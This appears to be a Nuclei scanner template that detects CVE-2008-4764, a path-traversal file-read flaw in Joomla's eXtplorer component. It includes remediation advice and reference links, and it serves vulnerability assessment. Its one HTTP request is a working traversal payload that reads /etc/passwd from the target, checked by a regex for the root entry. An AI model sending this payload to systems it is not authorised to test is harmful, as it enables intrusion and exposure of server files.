id: CVE-2008-4764

info:
  name: Joomla! <=2.0.0 RC2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.
  impact: |
    Attackers can read sensitive files on the server, potentially leading to information disclosure.
  remediation: |
    Upgrade Joomla! to a version higher than 2.0.0 RC2 to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5435
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/41873
    - https://nvd.nist.gov/vuln/detail/CVE-2008-4764
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-4764
    cwe-id: CWE-22
    epss-score: 0.16505
    epss-percentile: 0.96668
    cpe: cpe:2.3:a:extplorer:com_extplorer:*:rc2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: extplorer
    product: com_extplorer
  tags: cve,cve2008,edb,joomla,lfi,extplorer,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009051f905940217285fc652d48be37d8c9d3d821e9b924ba8dec89629a3447bf202206d543d5a9b7da1a3127cab9021f4b3d3c990d9e5eefe2d79997f76de40f61d20:922c64590222798bb761d5b6d8e72950